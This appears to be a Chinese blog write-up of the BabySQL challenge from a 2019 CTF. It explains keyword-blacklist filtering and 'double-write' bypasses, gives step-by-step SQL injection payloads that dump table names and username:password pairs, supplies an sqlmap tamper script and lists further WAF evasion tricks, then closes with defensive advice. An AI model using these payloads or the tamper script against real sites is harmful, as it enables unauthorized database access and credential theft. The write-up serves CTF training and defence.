news 2026/10/26 3:33:07

SQL注入双写绕过技术实战与防御方案

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SQL注入双写绕过技术实战与防御方案

1. 解题背景与靶场环境分析

2019年极客大挑战中的BabySQL题目是一个经典的SQL注入教学案例,主要考察选手对基础注入手法的掌握程度和绕过过滤机制的思维能力。题目环境模拟了一个简单的用户登录系统,后端使用MySQL数据库,并设置了关键词过滤机制。

靶场页面呈现为一个基础登录表单,包含username和password两个输入框。通过简单测试可以发现,当输入单引号时页面返回数据库错误信息,暴露出存在SQL注入漏洞。但直接使用union select等常规注入语句会被拦截,提示"no hack"。

关键发现:错误信息显示后端使用MySQL 5.7版本,这对后续注入手法的选择有重要影响。MySQL 5.x与8.x在information_schema结构、默认函数等方面存在差异。

2. 过滤机制分析与双写绕过原理

2.1 黑名单过滤机制识别

通过系统性的fuzz测试,可以整理出服务端的过滤规则:

  • 完全拦截的关键词:select, union, where, from, or, and
  • 部分拦截的特殊字符:单引号(但可通过转义绕过)、注释符(--、#)
  • 未过滤的关键词:concat, substr, database(), version()

这种基于黑名单的过滤方式存在明显缺陷——只检测完整关键词而不处理变形或分割写法。这为双写绕过技术提供了可能。

2.2 双写绕过技术详解

双写绕过(Double Write Bypass)的核心原理是:当WAF或过滤系统简单删除敏感关键词时,通过构造如"SELselectECT"这样的payload,在被删除中间的"select"后,剩下的字符仍能组合成有效SQL语句。

具体实现示例:

原语句:UNION SELECT 1,2,3 过滤后:UNION 1,2,3(无效) 双写payload:UNIunionON SELselectECT 1,2,3 过滤后:UNION SELECT 1,2,3(有效)

技术要点:双写时要注意关键词分割位置。例如"selselectect"过滤后会变成"select",而"seleselectct"则无效。

3. 完整注入流程与手工实现

3.1 数据库结构探测

使用双写技术逐步获取数据库信息:

  1. 判断注入点:
    admin' aandnd '1'='1
  2. 获取列数(通过order by):
    admin' oorrder bbyy 3--
  3. 确定回显位:
    -1' ununionion selselectect 1,2,3--

3.2 关键数据提取技巧

获取数据库名:

-1' ununionion selselectect 1,database(),3--

获取表名(需处理information_schema过滤):

-1' ununionion selselectect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=database()--

获取字段名:

-1' ununionion selselectect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='users'--

最终数据提取:

-1' ununionion selselectect 1,group_concat(username,':',password),3 frfromom users--

4. 自动化工具适配与优化

4.1 SQLmap tamper脚本开发

虽然手工注入可行,但实际渗透测试中常使用SQLmap提高效率。针对此题需要自定义tamper脚本:

def tamper(payload, **kwargs): return payload.replace("UNION", "UNIunionON").replace("SELECT", "SELselectECT") \ .replace("FROM", "FRfromOM").replace("WHERE", "WHEwhereRE")

使用方式:

sqlmap -u "http://target.com" --tamper=babysql.py --technique=U

4.2 常见工具配置要点

  1. Burp Suite Intruder:配置payload processing规则,自动添加双写变形
  2. OWASP ZAP:使用Scripts功能实现实时payload编码
  3. 自定义Python脚本:处理复杂过滤逻辑时最灵活的方案

5. 防御方案与实战启示

5.1 安全开发建议

  1. 参数化查询(Prepared Statements)是根本解决方案
  2. 若必须使用过滤:
    • 采用白名单而非黑名单机制
    • 实现递归过滤直至无敏感词残留
    • 结合正则表达式检测变形写法

5.2 管理员加固措施

  1. 修改MySQL默认error_reporting级别
  2. 限制数据库用户权限(REVOKE SELECT ON information_schema.*)
  3. 部署WAF规则更新双写绕过特征检测

6. 同类题目扩展思路

在[极客大挑战2019]LoveSQL等类似题目中,还可尝试:

  • 大小写混合:SeLeCt
  • 内联注释:/!SELECT/
  • URL编码:%53%45%4C%45%43%54
  • 等价函数替换:mid()代替substr()

实际渗透测试中,这些技术往往需要组合使用。我曾遇到过一个真实案例,需要同时使用双写+大小写+注释才能成功绕过云WAF的检测。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/26 3:31:39

OJ模拟4:算法竞赛训练平台的设计与实现

1. OJ模拟4项目概述OJ模拟4是一个面向算法竞赛选手和编程学习者的在线判题系统模拟器。作为一名参加过多次ACM/ICPC竞赛的老队员,我深知在正式比赛前进行OJ系统模拟训练的重要性。OJ模拟4正是为了解决选手们在真实比赛环境中可能遇到的各种技术问题和心理压力而设计…

作者头像 李华
网站建设 2026/10/26 3:31:16

图会过期?聊聊Diagram Design如何让架构图成为活文档

你有没有遇到过这种情况:打开项目的技术文档,翻到架构图那一页,发现图上画的还是半年前的结构,而代码里那个模块早就拆成了三个服务。新人照着老图排查线上问题,折腾一晚上,最后发现是图害了他。我碰过不止…

作者头像 李华
网站建设 2026/10/26 3:29:13

对话模型记忆增强实战:claude-mem架构解析

很多人在使用 Claude 这类对话模型时都遇到过同一个尴尬:上午刚聊完的方案细节,下午换个话题再切回来,它已经完全不记得了。如果只是临时问答倒也还好,可一旦你希望它持续跟进一个项目、记住你的写作偏好、或者跨多轮会话维护一份…

作者头像 李华
网站建设 2026/10/26 3:28:39

项目复盘:把“完美无瑕”变成可执行的质量控制流程

接手“impeccable”这个项目的时候,很多同行第一反应都是:这名字也太“作”了。毕竟在工程领域,敢给自己项目起名叫“完美无瑕”,基本等于立了个随时可能被打脸的flag。但恰恰是这个略显中二的名字,逼着我重新思考了一…

作者头像 李华
网站建设 2026/10/26 3:27:59

agency-agents:智能体权责契约范式的工程实践

1. “agency-agents”不是新词,而是智能体范式演进的临界信号最近在多个技术社区和开源项目讨论区里,“agency-agents”这个组合词高频出现,既不带空格也不加连字符,像一个被刻意黏合的术语单元。它没有出现在任何权威词典或标准技…

作者头像 李华
网站建设 2026/10/26 3:27:52

AI购物助手的深度解析:从参数对比到消费决策

1. 当AI开始"较真":一次颠覆预期的购物助手体验上周我遇到了一件有趣的事——让AI帮我挑选一款蓝牙耳机。本以为会得到几个标准化的推荐链接,没想到这个AI助手彻底颠覆了我的认知。它不仅横向对比了51个电商页面的参数,还亲自"…

作者头像 李华